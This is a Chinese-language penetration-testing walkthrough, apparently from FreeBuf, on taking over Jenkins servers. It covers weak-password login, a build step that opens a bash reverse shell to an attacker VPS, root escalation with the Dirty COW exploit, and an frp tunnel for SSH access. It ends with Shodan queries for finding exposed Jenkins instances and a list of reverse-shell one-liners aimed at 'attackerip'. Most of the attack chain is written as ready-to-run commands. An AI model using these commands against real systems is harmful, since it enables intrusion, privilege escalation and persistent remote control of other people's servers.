*严正声明:本文仅限于技术讨论与分享,严禁用于非法途径
0x01 概述
Jenkins是一款由Java编写的开源的持续集成工具。Jenkins提供了软件开发的持续集成服务。它运行在Servlet容器中(例如Apache Tomcat)。可以执行基于Apache Ant和Apache Maven的项目,以及任意的Shell脚本和Windows批处理命令。
0x02 背景
在平常的渗透测试过程中,很少遇到过利用jenkins构建应用的,jenkins简单的理解为他就是一个软件,你可以通过这个软件来管理你正在开发的项目。
很多互联网上部署的jenkins服务器大部分都是弱口令,只要你能找到,基本上可以通过弱口令进去,在一次测试某个单位时,发现其有jenkins应用,同事通过弱密码(admin/admin)就直接进去了,后面通过shodan找测试环境时候,发现很多jenkins应用不需要密码就能访问构建任务页面。
登录后界面如下:
本来不打算测试的,因为本身之前也不了解jenkins,但同事发现说可以执行命令,就去google了一下,发现网上大部分的文章都通过在“系统管理-脚本命令行”中进行提权,打算参考这个,但测试后,发现能执行命令,但是利用bash进行反弹shell的时候,公网vps未返回shell。为什么反弹不了,倒没有进行深究。
因为jenkins是可以执行任意的shell脚本的,发现jenkins能执行bash命令的地方不止一处,在项目构建的时候,增加构建步骤,让项目在构建的过程中,执行我们的命令。
下面来演示一下:
0x03 演示
1、首先构建项目,点击“新建任务”。
2、进入到构建任务界面,输入一个任务名称“test”,选择“构建一个自由风格的软件项目”。
3、来到配置页面,直接点击保存。
注:上面的三步是我在自己的docker环境下部署的,因为写文章的时候,客户的服务器已经下线了,为了演示整个过程,只能在自己服务器上完成之前没有截到的图片,方便大家理解,大家测试的话也可以用docker搭建。
4、返回主页面板,可以看到我们构建的项目,点击项目构建名称test。。
5、进入工程test之后,点击左侧栏目的“配置”,进入配置页面。
6、找到构建,在增加构建步骤的下滑栏中,选择“执行shell”。
7、弹出如下执行shell的窗口,在这个窗口输入bash命令。
8、bash命令如下,这是一个用来反弹shell的bash命令。X.X.X.X为远程vps服务器的IP,后接7777端口(端口可随意写)。
bash -i >& /dev/tcp/X.X.X.X/7777 0>&1
9、回到远程vps服务器,利用nc进行监听。
nc -lvp 7777
10、之后,回到jenkins的工程界面,点击立即构建,命令就会执行
11、通过控制台输出,可以看到bash的命令执行历史,可以看到输出,此时bash -i一直在后台运行。
12、回到vps服务器,服务器已弹回shell。
13、通过“whoami”命令查看当前用户,为jenkin用户,权限不足,无法执行修改密码操作。
0x04 脏牛提权
由于是linux服务器,此时就想到了linux的脏牛提权漏洞,这里可能是运气好,刚好版本合适。。
1、首先查看linux内核版本,2.6.32,可利用脏牛漏洞提权。
2、下载脏牛提权的poc。
下载地址:https://github.com/FireFart/dirtycow
3、编译
利用gcc编译dirty.c文件
gcc -pthread dirty.c -o dirty -lcrypt
4、运行dirty进行提权,dirty后接需要修改的密码。
./dirty password
5、执行完毕之后,显示如上界面,此时查看/etc/passwd文件,发现root的用户名和密码已被修改。
6、接下来,直接su firefart,但此时提示“standard in must be a tty”,不能执行命令,那岂不是功亏一篑?
0x05 内网映射
由于在bash-4.1$不属于tty终端,不能直接进行用户切换,那么接下来只能把jenkins的服务器映射出来,通过xshell工具进行连接,以root身份登录。
1、frp内网穿透工具
这里利用frp内网穿透工具,frp下载及手册。
下载地址:https://github.com/fatedier/frp/blob/master/README_zh.md
注:frp作为一款内网穿透工具感觉比ngrok优越,frp配置简单,最重要的是开源。
2、客户端配置(被攻击者机器)
客户端只需配置frpc.ini文件(frpc.ini文件得事先准备好,然后在客户端通过wget进行下载,我的方式是把frpc.ini文件先上传到github,就不需要自己搭建服务器了),内容如下,主要是server_addr填写vps服务器地址,remote_port是当你要用xshell连接时用到的外部端口,其他的可以默认设置。
3、设置客户端frp后台运行
客户端设置frp在后台运行,我这里用的是nohup,如果nohup不行,可以使用screen。
nohup ./frpc -c ./frpc.ini &
如果使用screen,那么下面是基础用法:
screen用法:
screen -S 会话名称:即可打开一个新建窗口,然后输入./frpc -c ./frpc.ini
screen -S mcs0810
./frpc -c ./frpc.ini
4、服务器端配置。
服务器端只需配置frps.ini文件,内容如下:
5、服务器端frp配置后台运行
nohup ./frpc -c ./frpc.ini &
6、开始连接
所有东西运行完毕后,只需通过ssh vps:6000访问即可。
7、登陆成功。
输入之前利用脏牛漏洞获取的root账号和密码,即可成功登录。
0x06 写在最后
1、如何去寻找jenkins服务器呢?
大家可以shodan去搜索,通过如下语法。
html:"Dashboard Jenkins"
"X-Jenkins" "Set-Cookie: JSESSIONID" http.title:"Dashboard"
2、bash下反弹shell的其他命令。
客户端执行:
# bash -i >& /dev/tcp/attackerip/443 0>&1
# /bin/bash -i > /dev/tcp/attackerip/8080 0<&1 2>&1
# /bin/bash -i > /dev/tcp/attackerip/443 0<&1 2>&1
# exec 5<>/dev/tcp/attackerip/7777 cat <&5 | while read line; do $line 2>&5 >&5; done
# exec 5<>/dev/tcp/192.168.47.154/7777;cat <&5 | while read line; do $line 2>&5 >&5; done
注:attackerip为攻击者的ip
服务器监听:
nc -lvp 7777
*本文原创作者:砂川诚,本文属于FreeBuf原创奖励计划,未经许可禁止转载